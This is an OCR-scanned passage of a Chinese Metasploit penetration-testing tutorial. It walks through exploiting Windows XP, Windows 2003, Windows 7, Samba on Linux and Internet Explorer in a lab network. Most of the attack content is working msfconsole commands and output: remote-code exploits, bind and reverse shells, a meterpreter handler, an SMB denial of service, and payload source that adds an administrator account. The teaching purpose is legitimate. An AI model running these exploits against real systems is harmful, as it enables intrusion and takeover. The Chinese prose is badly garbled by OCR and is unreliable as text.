POARFE HONESR P SUIORRER, JFHZ AR P RVEIEE. 7 T LLGEF AS [ ) fir 2 n 2
FE AR, i msfeonsole $EPLHIAr-4TH O, 7T LARZA 5ty o) AN [ FROBESR I IF R i

3.3 1E Windows XP SP2 |15 &Mt

AP BATVR S A {4 ] Metasploit B FEIZ 4T3 Windows XP #{E R4 H ArbL 28,
HpHREMWIETPIHBN—Ead, #-PEFRFEFRAEMIGERS, JFRE
EHLTERZH.

&
H 567E msfeonsole FHEATEENLE . AshiEHG, PN OBEHRILBNER,
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AU TH 22 VR4 vHgid S DR AR A A, X BB C AR5 3 B FrpLAsR0fE B, JFilE iz
1THIJ/E Windows XP #RIERGE, & T AL RG] A AR R A o

E&H
FETE Windows XP SP2 _L#HTBEN K, MW TP,

(1) EEHRREFETHT Windows XP BI¥EFEFR FS, H o aT Ll % /exploits/
window H 3%, 8] HR R AL n] BT Windows XP i EF FHACHE . FATE{#E FH RPC
dcom Jilx H¥5idE4Ti83%E, FrLLsEXt RPC deom Jif#E T %R, M T &4 .

msf exploit(ms03 026 dcom) > search dcom

Matching Modules

Name Disclosure Date Rank Description
exploit/windows
dcerpc/ms03_ 026 dcom 2003-07-16 great Microsoft RPC
xploit/windows/
driver/
broadcom wifi ssid 2006-11-11 low Broadcom Wireless
xploit/windows/
smb/ms04 031 netdde 2004-10-12 good Microsoft NetDDE

MERTTLUER], RT3 MERIER. EREHE A, EYZRARHAH
MV great, Tz P Z 00 A AR AR RS B Th i LR BE K.

(2) A% exploit/windows/dcerpc/ms03 026 dcom # B ] H A A HALHS, "84T
WFa2.

msf exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03 026 dcom

msf exploit(ms03 026 dcom) >
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i ST IR R SR W Zan & CLIET I .
(3) TP R A B B L E )25, show options fiy-< A LA H iZ ¥ A
REBFITTHSE, ZJ/aEH set ap2 B X SHGHATRE, HP —ESHELARINE.

msf exploit(ms03 026 dcom) > show options
Module options (exploit/windows/dcerpc/ms03 026 dcom) :

Name Current Setting Regquired Description

———— - — T — - — — S S g g TR e —

RHOST yes The target address
RPORT 135 yes The target port

Exploit target:

Id Name

0 Windows NT SP3-6a/2000/XP/2003 Universal

X B, RHOST T Hbr EHLA) 1P ik, RPORT A THEE BRI MIEE5E ¥ 1 .
RS M T, RPORT MOEYEE A 135 Ui, BATIT 24 RHOST & 824 sEFr i) H#5EHL IP
Hi k.

msf exploit(ms03_ 026 _dcom) > set RHOST 192.168.56.102

RHOST => 192.168.56.102
msf exploit(ms03 026 dcom) >

Z % ms03_026_dcom #iFA) A ARMAe IDXEEA 0, XFARELRE

o RAEBAAFLEATH AR Windows A, KRkiFA|MNRDE A TFi%5 8

% | th 69 P A Windows RRA. JLAG#4 R F A A AR —ARARE 2145 show
targets 74~ RiL4F B ATRIE A 4.

H AT, RHOST MM{ECL#BCE A Hbx IP #uht, R kit frRRAA R, &/ 4
RIHE, BGRB8
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(4) T FaEm st e, wT LU fir4 show payloads %1 H! B ml il B B ik 4%
67 o 13K L 9 Y 5 99 windows/adduser Bt 46T, HIABRTE H brHL 28R 1E RGP In

B

msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLORD => windows/adduser

(5) FHRIEST show options fir%, 51 i A ACIS S B SAT M T 23 B0
S HoEn T AT

Payload options (windows/adduser):

Name Current Setting Required Description

EXITFUNC thread yes seh, thread, process,
none

PASS metasploit yes password for this user

USER metasploit yes The username to create

MESSRATELE B, &3l B8 RS s H P 20482 metasploit, R
PR s, nTLL{EF] set PASS i 4 Fl set USER # 4.

(6) Bralidlifr D BSEA, F ool Lo HerfLEs st irigis, A T Mk $iETik
e ) A ARG,

msf exploit(ms03_02& decom) > exploit

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

[*] Binding to 4d9f4abB-Tdlc-1lcf-86le-0020af6eTc57:0.08ncacn_ip
tep:192.168.56.102[135] ...

[*] Bound to 4d9%f4abB-7dlc-1lcf-86le-0020af6eTc57:0.08ncacn_ip
tep:192.168.56.102([135] ...

[*] Sending exploit ...

[*] Exploit completed, but no session was created.

I fa—ATm R, FRRE AR HRLEE e mIhiEirse e, JHFEL Rl T
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B . ERTLUEH, HFRAGIERBTNATE, KRE Ak B8 2 — A 4 adduser,
R AT EER W, Ei, RREARMBAAEETE, 5SS ERIS2IE.
B RS R ey ] Bk e L

EHTIE

{EALFE TCP/IP #§ BAZHi RPC WU P AE7EdeR, R IR] 6 Al DR ot o 12 1 B O A B A7 7
AR, ZRFAEE A RAEFTRIER (DCOM) O GZEOAEENE T RPC b O i
AT, PTLA, TETE HARHLES LAETEZEAT RPC RSB A] FH 56 1 .

%42 1R T AL BE 2 7 U 1) AR 95 28 A% ) DCOM W Gk, BRI ZREE, W
H A TR WAL L UA M RGN RIZTERNARN, IFE BRI ERATE LR E, §I
WLARFET . AEAESUMEREEE, AR/ IKS .

BT ZRFEZ Y, TUSHUTFOMRK LN SHE.

http://technet.microsoft.com/en-us/security/bulletin/ms03-026

A T Hf# adduser Bt er i TAFHLEE, T EX %A H) ruby fCRGHEAT 504, FFkE
AL E .

root@bt:~% cd /pentest/exploits/framework3/modules/payloads/singles/

windows

root@bt: /pentest/exploits/framework3/modules/payloads/singles/windows#
less adduser.rb

WL T T A ARAS .

# Register command execution options

register options (

[
OptString.new('USER', [ true, "The
username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The
password for this user"™, "metasploit™ ]),
1, self.class)
# Hide the CMD option
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deregister options('CMD')
end
#
# Override the exec command string
4

def command string
user = datastore['USER'] || 'metasploit’
pass = datastore(['PASS'] || '"

if (pass.length > 14)
raise ArgumentError, "Password for the adduser
payload must be 14 characters or less"

end
return "cmd.exe /c net user #{user} #{pass} /ADD && "

"net localgroup Administrators #{user} /ADD"
end

e AT LU L B BEAAT S5 R A 1 B A 4 AR AR ACRE I D e, T RS 2. H 5%k
AR P AR OLEMARNAE, R/5EE CMD B3, LAMEEB 8T AT A2 L7 R R
., ZJa# i windows/exec Bifal, LESHUE, I A EaRA) Ay S IRRFFLE G & HATHI DY
4o

R A LU 7 B X B RIS AT B o, XK Bl 00 ek 3 A R A\ LA

3.4 SR fivil HbsBLES 1) shell

ERTHIAE S, 2 T EFEX Windows SP2 #EATHHEE, e L Lasin i A ik
T HEEPITZMERMANREZ G, ERBEIET . FAS, L E BRI Z5E
shell, CAGHER 75 HARHLAS FOZFEE B0 SO AT im B il . LA A A0 a i kit i 28401,
SEF AN O Bear B A, AT R 7E H ARpLES LT FFE RS shell.

33
M 5] msfeconsole 714, H¥r5 4 Windows XP SP2 _[- #7720 B brdd[E], (i
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3R T B R 2 deom IR, B SR A FIAS B A Brak iy, A Yk A i ek BT mT LA AE B
5 3 HAr AL shell.

EHTH
2 ) HER ENGRE shell, TFEIATIT LT,
(1) #3F HArbL4R, %EFE deom WiFFI S, BEARKNSE, RGERIEHAM.

msf > use exploit/windows/dcerpc/ms03 026 dcom
msf exploit(ms03 026 dcom) > show options

Module options (exploit/windows/dcerpc/ms03 026 dcom) :

Name Current Setting Regquired Description

) o i i sl A N A —— - ———

RHOST yes The target address
RPORT 135 yes The target port

Exploit target:

0 Windows NT SP3-6a/2000/XP/2003 Universal

msf exploit(ms03 026 dcom) > set RHOST 192.168.56.102
RHOST => 192.1€8.56.102

(2) WWFEA USRS BOECRUE, #& TF RSB 8. H show payloads iy
A 0] LAB H B ) Bk 8T . 1% FF windows/shell/bind tep, %M # R 7E HARHLAS A
4444 30 BRSO 4T7F TCP &8, H A& k@4 shell.

msf exploit(ms03_026 dcom) > set PAYLOAD windows/shell/bind tcp

PAYLOAD => windows/shell/bind tcp

(3) {#H] show options 7%, I BEIHABMESE, #H RHOST. v DME 4 i)
0%, S2¥WEEMG, (Fa] LT ZRER A, iR r 2SS HdT o s 5.
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msf exploit(ms03_026_dcom) > exploit

[*] Started reverse handler on 192.168.56.101:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.56.102

[*] Command shell session 1 opened (192.168.56.101:4444 ->
192.168.56.102:1052) at 2011-10-31 01:55:42 +0530

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

MEL EAE B TLAEH, RiAFHARBRIIT, Ha2TRREE4L%E msfconsole
HRash, BolE el LLR X — 3 & 5 m FE RO H AL A 58 40 AR . i R B
HiZaih, T RUER] exit d54

EEHBE ] fiE C 4 AR E] Metasploit B &R H03RA, b E IF BRI R AT 1T
AE, 9N UCEEE M H T E A2k,

EHLE

Deom i 1) A AR 9 A B R0 61 1 ki (9 AR R 9 . bind_tep B9 TAE SRR &G
MR 1R ZE A A — S S, DA M AR R A R FRAR . AT DL B % I AR
far (] ruby fUf%, M. /pentest/exploits/framework3/modules/payloads/stagers/windows/bind
tcp.rb.

| 2
P RE S ) BRI shell XF B s EHLEE T ).
LY B FR Y 5T 2= 6

ALY FAARHLERH shell HEH, 85 dr SATHRIRFIN HARHLESHEAT se 800Uy 1o R des
il AIEA—2H K DOS firéxt HARVLEREATERER, QI HRIIR. XH- S50 g 6.
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gl P ACER S — LI A R

3.5 {E Windows 2003 Server |31 &ML

e E—h, BAINHET EFMEF decom WiFAF IS, 51K Windows HERHLAS IR
MK, FHRTh I T BB E . AR A A ERME A A R I ER BT,
Windows 2003 Server /BN F e 2 S BEE RS —, ARG BN JLHET
JitB®E, B4 74T # Windows 2003 Server ' A AIELE deom Heilil, AR e
WA ARSI, B netapi32.dll diF. B EITZRIAM TIESR, REoirizkiskEAE.

&

B 55 )5 8 msfconsole, FHX%F H fnBH T . B UGEFPATEE NN K HArdE 20
B, DE RPN IR T A ARIETEE Y VA R AR R Y, 2= B T R R R

FARIE AN .

EHITH

B Windows 2003 Server T E N, I K.

(1) B5I9 2 netapi, 5| Metasploit HEAL F BT 5 netapi A< 3% 1 F FH AR .

msf > search netapi

Matching Modules

—+——=—=—+ L L+ & f 4 o § = + § 4

exploit/windows/smb/ms03_049 netapi

exploit/windows/smb/ms06 040 netapi

exploit/windows/smb/ms06 070 wkssvc

exploit/windows/smb/ms08 067 netapi

Disclosure Date

2003-11-11

200e-08-08

2006-11-14

2008-10-28

Rank
good
good

manual

great

MERTTUER, MK 4 D8R, BE —MREFHAER SN great

» B
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SeAd F % i R FHACES .
(2) ¥ RHOST # B & Windows 2003 Server H Frbl2%.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use

(BROWSER, SRVSVC)

Exploit target:

Id HName

0 Automatic Targeting

msf exploit(ms08_ 067 netapi) > set RHOST 192.168.56.102
RHOST => 192.168.56.102

Id {54 0 K& SORAN TG BA55E H IR RIE RS

(3) sERWERBAENESE, RESGESMA. XBREE tcp bind Briidify, LA
{H $KEL B ArHL28 A9 shell, T Fritie Y.

msf exploit(ms08 067 netapi) > set payload
windows/shell/bind_ tcp

payload => windows/shell/bind tcp
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msf exploit(ms08 067 netapi) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

AR AL RO R BT, B/aEM exploit 4r@ 3 Hrixdr & HIHAT
ZR.

msf exploit(ms08 067 netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows 2003 SERVER - Service Pack 2 - lang:English
[*] Selected Target: Windows 2003 Server SPZ2 English (AlwaysOn NX)
[*] Attempting to trigger the wvulnerability...

[*] Sending stage (240 bytes) to 192.168.56.102

[*] Command shell session 1 opened (192.168.56.101:43408 ->
192.168B.56.102:4444) at 2011-11-02 21:25:30 +0530

C:\WINDOWS\system32>

MR AT LU BB ple T, JFE L T 3] H b5 N shell 8, nf LLB A dy447 15 18] H
Frblas . Metasploit fEREA T FEB IR A I ThREsR A, fEAH S KRR LR T 4555 1
BE . T i ER T 0 WA oh i A R AR RS ) T AE R,

BHIE

HBRF A T Server iR ¥, Bl netapi32.dll $447 B4R ERARES (K M IR I
ERERERENBRE LS, %IRRT LIS NX ¢, wTHFBhIE Server A% (LLA[A]
—RERE P ) HARAR ST D b

3.6 Windows 7/Server 2008 R2 SMB %% J ¥t JoPR #6340 T

£%F Windows 7 1 Windows Server 2008 ()3 F| FHACHEAEHR 2>, SMB %/ i G IR G E
WiRZEPR—I, JUSEERRG . ZRAASEELS1ER shell &8, HbR
AT, A2 3.8 1, ¥4t Windows 7 ] DLL 3 A RIRABET 447 .

Windows Server 2008 R2 5 Windows 7 {1 ] SMB % /g thAEfe i, a8 ek 3 fn i
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2 SMB AR 4220 LAF] ] SMBv1 & SMBv2 Wi i 0 4  4a ik 45 RGN RGH
). AL NetBIOS ks A K B PEESHEAEFIHCREE, &SIz
FEFEE,

&

Metasploit 3234l HASEL auxiliary/dos/windows/smb/ms10_ 006 negotiate response loop,
Xt SMB lR%- 283 T B8, HFFBEE4 RS, HIEGE 7228 UNC il
web GLH, F@#M HEbH P B#AT, HPTFEEHZE, BRSNS, HEER
ﬁﬁn

BRIl

TS EARER, T E AL use fir®, HUAZMREEASE, R RELTHISH
HATIZAIR, TRAT I R P ER.

msf > use auxiliary/dos/windows/smb/msl0_ 006 negotiate_response_loop
msf auxiliary(msl0_006_negotiate_response_loop) > show options

Module options (auxiliary/dos/windows/smb/msl0 006 negotiate response_

loop) :
Name Current Setting Pequired Description
sosST D000 ys  The local host..
SRVPORT 445 yes The SMB port to listen
SSL false no Negotiate SSL..
SSLCert no Path to a custom SSL
SS5LVersion SSL3 no Specify the version..

REBELFMSE, Kby LR EE LS HOL SRVHOST, ZSHHEERE HBE
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Yok A BT FBLEE 10 TP Huit

msf auxiliary(msl0 006 negotiate response_loop) > set SRVHOST
192.168.56.101

SRVHOST => 192.168.56.101

ERIE

i run fr & PATIZRBIELEL, BBBRPIT S, RAR— IO R RX S A
FRE P, AR o A i BE 2 R9\\192.168.56.101\Shared\Anything .

msf auxiliary(msl0_006_negctiate_response_loop) > run

[*] Starting the malicious SMB service...
[*] To trigger, the wulnerable client should try to access:
\\192.168.56.101\Sharad\Anything

[*] Server started.

ERT AP IE — T, R BB S PR R R A ATRE, ZERIRIES
HtsHF . BWHS QiR LG, BRRGARHMIKRIEN, SBCEENB4RS, HfH
R A RER R IER -

3.7 % Linux ( Ubuntu ) PL2s3H 18835

Linux /24 Windows Z Ja N ZHERIERFZ 2 —, TEAIHJLTH, BAING T ERRT
a] ] A% IR X Windows HLESE T8, AWK GE Linux #ERGRT, R~EEHT 2
Ubuntu 9, T {EiIFERUTE HARIZ4T Samba R4 Linux. Solaris #4E &4t —FF.

3

B SEX Linux HARHLES AT 4, AT AR5 8 . {8 H Nmap #E4T PROESH#EIF 50 b
HE R,

msf > nmap -sT 192.168.56.101

[*] exec: nmap 192.168.56.101
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Starting Nmap 5.20 ( http://nmap.crg ) at 2011-11-05 13:35 IST

Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.56.101

Host is up (0.00048s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)
| _html-title: Index of /

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
No exact OS5 matches for host (If you know what 0S5 is running on it, see

http://nmap.org/submit/ )

W) AR KRG R R, 0 SCAE R R PR AR A S A B AR .

BRI
X Linux FLas A2 &L S5 Windows K14l FHW FH K.

(1) RS R IEFE IE 5 AW R AR A Bodi 8 4y, AT LAZE Metasploit H g3 E&E ]
Fif) Samba I ifd F1] B A6

msf > search Samba

(2) &R RO EMA K Samba BB BRI F HAEERY| R, EFEMAH
1= VEZE A good 1) exploit/linux/samba/lsa_transnames heap J§ i #| FHACHIBiE, Bk i%
B A B2 BRI S R B & . T A& 2R B ERRE, HHEDE
K12 ¥ .

msf > use exploit/linux/samba/lsa transnames heap

msf exploit(lsa_transnames heap) > show options
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Module options (exploit/linux/samba/lsa transnames heap) :

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use

Exploit target:

Id Name

-

-

0 Linux wvsyscall

msf exploit(lsa_transnames_ heap) > set RHOST 192.168.56,101
RHOST => 192.168.56.101

msf exploit(lsa_transnames heap) >

(3) P REFEAENIGEREST, ZHaEm2, BATMHEZ Linux HL28, Kbsik
FF Linux BCilalfr . 268 H & linux/x86/shell_bind tcp payluad, T4 S5 PR 5 i T 4 A
it f¥) Windows Hili 8y bind tep Z5{LL.

msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_
bind tcp

payload => linux/x86/shell bind tcp
msf exploit(lsa_transnames heap) > show options

Module options (exploit/linux/samba/lsa transnames heap) :

Name Current Setting Required Description
RHOST 192.168.56.101 vyes The target address
RPORT 445 yes Set the SMB service port

SMBPIPE LSARPC yes The pipe name to use
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Payload options (linux/x86/shell bind tcp):

Name Current Setting Regquired Description

LPORT 4444 yes The listen port
RHOST 192.168.56.101 no The target address

(4) FFEMORETCSE, a1 exploit g 2T R dii2 B .

msf expleoit(lsa transnames heap) > exploit

[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address Oxffffedl0...

[*] Connecting to the SMB service...

R AR RIIAT G, RESLEGE L3 HARTHLARH shell i3k, X—dfES
AT 359 P e R R AR R R, ME— A9 ZE I E THEFR A IR A AR B AT A R .
ZHR IR A AR R B ST RO il 2o, I SR 2 ) R Ao g S5 i e

EREIE

FiXt Samba ARSI T AENLEE . &0 A A R BEBEAT — MRBEN 4. Samba H T
Linux # Windows #L#8 2 [A]ZEATHT ENAI SO IL . AR IRF LR Samba sHH R
LSA RPC Jli 45 (i i, J¢4#  talloc chunk 5 /% (credit Ramon and Adriano),
Z i RGEHTE Samba 3.0.21-3.0.24 fRA . 1% F AR T HE S sh BN E AR
P B—IFI 2B 2 B RS 5L, P RT BLE K22

g%
A AL 25 Linux 80l R0 KR FR B

Hi5 Linux 8 XA RIRF A RR

BR T AT iHe R FA AR 2 4b, BN EBEAER . SRR GRS 25X
AT I AR AR (G T R B A
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Samba chain_reply P #7383 : 12081 A FH ACAS 24028 Samba 3.3.13 LLHTARAS 43 Ad
Sw N BN, Al AR H ARG X O/ E SE .

Samba trans2open #i Hi: X/ Samba2.2.0 WAE| 2.2.8 iR A< M f7 7 1) — 2 pp X it
W, 3R R R R 4T noexec #RIE T Y x86 Linux 125 i .

3.8 Ffi Windows DLL E AR

AR FIFRRE R, ZFRFAAEEFET Windows BIERGT, 1
RAFAET Windows LIEATHISF N AR FRAZ T . X B 7 iR 5T 3 i N 72
FFInEA S PE N AFAE RO B, R i S X R dR I, DL RS S AT IR 43 7

b3

KR E T iE T R GBI W H R, B AL B HAT X D E B R
. XANHRATCURSCH, REUSCHEIE, USB ahafak Mag S5 as: . G g s iF A 5 2
STALHFN, HLEMAT DLL HARF B S H b R .

BRI

Fifr48 DLL iFEARE A SEIE . Anfld, HARPLEEZ K440 T Windows
7 Ultimate HL2§. LAEFE 2008 — eI 2 LA 2 vy a) M AT 9 SCF . B VR
B, EEFSNX I BEEE .

(1) {#H exploit/windows/browser/webdav_dli_hijacker FLE4E 4 iR A LS, windows/
meterpreter/bind_tep {E M BUti 8T, T 3 i A FH A RS A B ey 6 7 0 S Bk AT Pkt
WHE.

msf > use exploit/windows/browser/webdav_dll hijacker

msf exploit(webdav _dll hijacker) > set payload windows/

meterpreter/bind tcp
payload => windows/meterpreter/bind tcp

msf exploit(webdav_dll hijacker) > show options
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Module options (exploit/windows/browser/webdav_dll hijacker):

Name Current Setting Required Description

MSEKIME  policy  yés  The buse aaiie fof the Listed
EXTENSIONS txt yes The list of extensions
SHARENAME documents yes The name of the top-level
SRVHOST D.D.D.ﬁ yes The local host...

SRVPORT BO yes The daemon port to listen
SSLCert no Path to a custom SSL..
URIPATH / yes The URI to use

Payload options (windows/meterpreter/bind tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh..
LPORT 4444 yes The listen port

RHOST 192.168.56.102 no The target address

Exploit target:

Id Name

0 Automatic

SR IR A FEACRS () % R 2 50 B TG0 e SUHERTIZ 365, b, 2% BASENAME
8 T EGE IS4, EXTENSIONS ZFAFEIE 2Ry B4, SHARENAME 2154
BTV W BT S5 H3%, SRVHOST 24 i MiWr =41, SRVPORT & -5 83T
W £ 35 115 o
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(2) FiFF AR B A A S BOR B E e, PATIRFR . SITHER

oL F .

msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.

[*] Started bind handler

[*]

[*] Exploit links are now available at

\\192.168.56.101\documents\

(3) WA A IO HAT J5 . FFaEN P AL R SEAT I, ROt . H
FRAT T2 4 5 e flh A R R AT R TR R R AR, R T DR B H PR ALES R R S R A

R

Organize «

Bum  Newfolder
¥r Favosites Mame Date moadified
Bl Desktop _ | policy.bt 11/6/2011 4:47 AM
2 Downloads

| Recent Places

i Libraries
| Documents
@' Music
Bl Pictures
H videos

g Homegroup

& Computer

Type

Tet Document

HErpLEE & policy.txt XM, &AM CHBEHEILE, ZXMHRTLLHN, R
—H BHARH T PATIZSCAF G, e SEGEITHLS AL shell 3, 1 SEFx F7E HARHLAS L3k
fTHIE DLL 3, BERTE msfeonsole Bf #F 2 ¥ K BiE5). DLL IEAN G, #i=E—

A shell E# (ITFED.
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EHIHE
7 3 BOZ W A SR A . shastEiERE (DLL) 25l Windows #R{F RgHILEFE
) —FSEEl. DLL SEFx F 53 M E B r s o nf $AT R, 2R e iT i m# 5 1K

HICH DLL 3t e, N HFERZ24TH, loadlibrary()ef 0¥ #2470 7% 1 DLL, 154
n#k DLL 47 B & A e, s R PR 0t a0 24 R 2 M FERR, Windows 2 {# H
HE X EWF#1T DLL %, HPBIAR RO Bl 2R 2S5 TEHX.

HbrH P Ui L2 B G, S AR SRR X, XA ? Rhits
A policy.txt & AE5e 2 M & 1 DLL #8428, HEcH #4712 3CFrE, Windows 4344 i fi
BIWEMFM 2% DLL X, ol 24967 T4E H= (/documents) & HBEGHEEHIN, B
el AE P S inE &R DLL 1885, JFth Windows #ERZHAT CHT TEEH R
Windows 8 ZEEEEN A E 2 —), Wi fER A& T LT AMNE A, B8 A7 zh
BTG, S VLS B FrbLes 2 a8 7 shell &4, Yok it 3RBO HiR R4/ 52
VTR . BLEAZBGE A TR

B5E
AT LA H H. D. Moore JT A )N 8 T HOR G DLL AR .
H. D. Moore £ DlIHijackAudit T &

Metasploit @& H. D. Moore & [ —Fr e Wi TR, ML RFAHEEHREF
£ DLL FEA MW, X248 F Ruby f#FERRIZAT FUBERE 32 TR, H TAENL B R 34~ DLL
AR—ATERBOCHR TAEHRA U ). 2 T Hidn] DU BG40 . T2 B Ve an i) SCRs (S
F 0] PAZ WL http://blog.metasploit.com/2010/08/better-faster-stronger.html.






FA4E
ST LD BT

KT T IENE:

o IE M AFA 4 AR R EC B N ;

o IE /554% CSS &A1 W A7 i Jeii ;

e Microsoft Word RTF #& i H i i ;

e Adobe Reader util.printf{)Z% # [X i H 3 ;

o i [l msfpayload 4= ik 8t HIF2 7! shellcode;
o i/ msfencode F8EZE ) 3 By 795 25 APl 47
o fH killav.rb BIAEEF Bl 8 B 4K 1

o FEMIE Killavrb JHA

o M@ AT kAP A IR 5T

4.1 Iv4]

fEE—Fd, BPNATHABRERENBENK. BIERGERX HIRETBERN
BEK BEOARITHT Mah T LB BRAE R AR A B BB i83E, 1 AN 22 75 42 2% B[]
FHRIA T ERATIEE . (HRERERR, R E BRI S B K £ B 46 3
s, MmaBhIEIRBOCT B ARBRAE RGBT E0R O AT (S B .

EA —FETRER, BAsULAE Bah A ZThEe, WM ERERGWFEEITIIAN T, A
1T BELE T X H AR BT 0 o FRUXFF ) 2 A 55 v LABT 1L Bl # R R BRE R G O
S SR RO H ARHLAS U5 i) AR, Bt Rk S| T 2 7 i A A0 v 2 R B s 8 N
B HEAH B R P IRIBGE k.

fEse 2 HA N O3 FIT B Arp 148 3 192 Windows XP SP3 #{ERGEHAT T4 T, 48/ IE7



70 Metasploit &% X F A

YER BRI A B2 ) ] Internet FLA, Web AHORRST . BB HINAN 3 Ohi—-EEH) URL ML,
HpQ& T AT, B&EACHIE 7 WM EEEED . e —MEEEK
A#HE HTML 5, JFaIE—-EakeE, P aarmihiEsr URL. B&TXK, S GAH
HETR¥FBL Bz HTML WUiifeixss A, HHF P i i sk, T
PR T X 1E 7 SR A9 B NRS, DR n] U A TR D F AT B EACHS, AT 30
AGUSEBL B bR RGEREESI, 82 TR LISt — P T BB G 1], BUBGH AR R R E

KAETAA? I8 BAsHLERIEAT B 24T T AN T I R BT ) Windows 48, {HERIAMY
IE 7 9S85 8T RO ek 0 HAn - 208 T, i AEAHE 80N 53 mT DU o ) B 2%
WFBA B R S

WA B2 — PR %) B R, BRHLSEAMARE S IRIT T —BIE A,
A P AL T H AR N A R B B A, T AT S, Bk B T R T

Metasploit P42 T K RAEHXS LA RATIRAF 00 % BRI Bk Bk, aTH AT & 0
. AFEFCR K FAT N #F 4055 Internet Explorer. Microsoft Office pack. Adobe reader
J% Flash %%, Metasploit L% FE chfy & T — g pbX Sy AT S A A Bra ik, JRATTAY B A5 2
F 2 7 i s h B B ARpLaE, JFE LR 2] HARPLES 1) shell i3

Metasploit #fiX #1512 41 B AN ) SR A2 3R .

(1) &S ER RS HAR, AR N s a B SO, e i 1 a3 3 B AR I a)
ERENHRE, 2SR U eSS A .

(2) BAaVLARPAT BRSO )R, BUSEEL T AR RN F KR M 77235,  Metasploit
£ B P M AT A 45 HAth Windows HERE, DAETE H AR (M AT 2
BO 8 R N R A Re R FF IR 1

2 am B, XA R T LA . A TE B Windows #EE R
) — e St N FH AR o 8 S8 A 2T ) NE ORI ) & i By, A5 TE 6\7\8 S S A
AP R E ORI, CLEERER XL sl B aapLas i A2 @, 8T R
] B —ANFAT BN #4F, B Microsoft Office 2003. 2007, 4373 ScR4#& =Xl i A1 43 8 PDF
R, CLRERFIHER PDF SCRBGE BAaPLEE . B (HIFERAEZ) WHitibsial
W n—ANEEJ T, PR eE, HEFRBEIAE 5 WP a2 B L, LA
(ELEX 7235 H hrbLas i A Sl e 5% .

A TR I 4 Metasploit (4 THIDIAE, A B o XK RBEHFSCRR, Tl FF a6/ 4 AT /Y
HAEHNE.
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4.2 1IE RIS HAC A RC B il

HERE— PR AR THNRNE S Bl (6% G B R ) e A B R
1 315 i i B AR BEUR A0, ME— 922 BIAE TR B AARE R B AR HL P AR R
5T RGRIE N BOh AR R, 25 S KA o i 2 DHAE B ARALEe L3 AT I
F AR RO B e BT o 3K 48 o J 4 Bt A 22 191 Y 7 LT 17 B B 4B LA

3

B 5613 msfconsole FEREHH N (¥ A HACHE, IR 5 ar& 250 b dhk po #6 2
K. e, TREFHEFER T 5 BFrLES EAL shell ERE MBS, £ T RA < BH
7 HoRs A IR R A A 2 exploit/windows/browser/i.e.unsafe scripting.

. B %0 iX — i iF % °f Internet Explorer 6. 7, iX & Windows XP. 2003
Qo Server &k ey Mikinl 8 , 1A AE A %4 IE 8CAITANT )6 Windows
7 ultimate AL L, 4B vl s 3hH A .

1 — e il ) FACHS 5 2 B ArbL4% 10 TE 30 %348 1 (1) Initialize and script ActiveX controls
not marked as safe ¥ B IE AL P i A GEAAEAMER], 1530 1E 3 %48 3l T Tools | Internet

Options | Security | Custom Level | Initialize and script ActiveX controls not marked as safe |

Enable iX — 42 Al AR BliZ LT, W FEFTR.

-
i) Prompk

M Run Activex controls and phugrins
|| Admerestrator appeoved
i) Dusable
(3] Enable

! Prosngt

)
M é&ﬂmckmﬁnhmhdsﬂtfurmﬂru
L .

i

< } £ |
Paget oustorn settings

Reset o Modun _ '
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7E H AR 1) TE 3 088 oh th o] LT 2N | . AR B 6 3 A A R 26 8L B #5
—AMZ{TH /2 Windows XP SP2. IE 7, H—MNZE1THI/Z Windows 7. IE 8, FiHF#EEHE

EHLH

J&i ) msfconsole ¥ H . ) exploit B B W iHHKIRE, mIhBEHKE, FREEHERSA
reverse_tep 5 HFRAVIERE.

msf > use exploit/windows/browser/ie unsafe scripting

msf exploit(ie_unsafe_scripting) > set payload windows/meterpreter/
reverse_tcp

payload => windows/meterpreter/reverse tcp

msf exploit(ie unsafe scripting) > show options

Module options (exploit/windows/browser/ie_unsafe_scripting):

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to..
SRVPORT 8080 yes The local port to..
SSL false no Negotiate S5SL..
SSLCert no Path to a custom SSL..
SSLVersion SSL3 no Specify the wersion..
URIPATH no The URI to use for..

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address

LPORT 4444 yes The listen port
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Exploit target:

pr— p————

0 Automatic

msf exploit(ie unsafe scripting) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

RFER ARG RAGSCLRENFERRE, HEAX RHOST EWM#TRE,
X R Pt . T HSRE — FHAT exploit fr 445 R .

msf exploit(ie unsafe scripting) > exploit
[*] Expleoit running as background job.

[*] Started reverse handler on 192.168.56.101:4444

[*] Using URL: http://0.0.0.0:8080/2IGIa0JQB
[*] Local IP: http://192.168.56.101:8080/2IGIa0JQB

[*] Server started.

MERATLAIF R, exploit fgd /L T —/NEEFEEE (hitp:/192.168.56.101:8080/21GIaoJQB ),
AN B T W 2 B AOX A Hn B, DMEX Hyr ML L a1 W EigE, s
